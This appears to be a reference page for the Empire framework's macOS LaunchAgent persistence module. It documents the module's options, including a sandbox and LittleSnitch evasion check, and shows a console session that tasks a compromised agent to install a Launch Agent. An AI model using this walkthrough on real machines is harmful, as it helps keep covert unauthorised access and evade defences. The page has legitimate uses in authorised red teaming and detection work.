LaunchAgent - Empire Module


This page contains detailed information about how to use the python/persistence/osx/LaunchAgent Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: LaunchAgent
Module: python/persistence/osx/LaunchAgent
Source code [1]: empire/server/modules/python/persistence/osx/LaunchAgent.yaml
Source code [2]: empire/server/modules/python/persistence/osx/LaunchAgent.py
MITRE ATT&CK: T1055
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The LaunchAgent module installs an Empire Launch Agent.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the LaunchAgent module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the LaunchAgent module:

Agent
Agent to execute module on.

DaemonName
Name of the Launch Daemon to install. Name will also be used for the plist file.
Default value: com.proxy.initialize.

Listener
Listener to use.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

Additional Module Options

This is a list of additional options that are supported by the LaunchAgent module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

LaunchAgent Example Usage

Here's an example of how to use the LaunchAgent module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/LaunchAgent

 Author       @xorrior                                 
 Background   False                                    
 Description  Installs an Empire Launch Agent.         
 Language     python                                   
 Name         python/persistence/osx/LaunchAgent       
 NeedsAdmin   False                                    
 OpsecSafe    False                                    
 Techniques   http://attack.mitre.org/techniques/T1055 


,Record Options---------------------,----------,-------------------------------------,
| Name       | Value                | Required | Description                         |
|------------|----------------------|----------|-------------------------------------|
| Agent      |                      | True     | Agent to execute module on.         |
|------------|----------------------|----------|-------------------------------------|
| DaemonName | com.proxy.initialize | True     | Name of the Launch Daemon to        |
|            |                      |          | install. Name will also be used for |
|            |                      |          | the plist file.                     |
|------------|----------------------|----------|-------------------------------------|
| Listener   |                      | True     | Listener to use.                    |
|------------|----------------------|----------|-------------------------------------|
| SafeChecks | True                 | True     | Switch. Checks for LittleSnitch or  |
|            |                      |          | a SandBox, exit the staging process |
|            |                      |          | if true. Defaults to True.          |
|------------|----------------------|----------|-------------------------------------|
| UserAgent  | default              | False    | User-agent string to use for the    |
|            |                      |          | staging request (default, none, or  |
|            |                      |          | other).                             |
'------------'----------------------'----------'-------------------------------------'

(Empire: usemodule/python/persistence/osx/LaunchAgent) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/LaunchAgent) > set DaemonName com.proxy.initialize
[*] Set DaemonName to com.proxy.initialize
(Empire: usemodule/python/persistence/osx/LaunchAgent) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/LaunchAgent) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/LaunchAgent) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.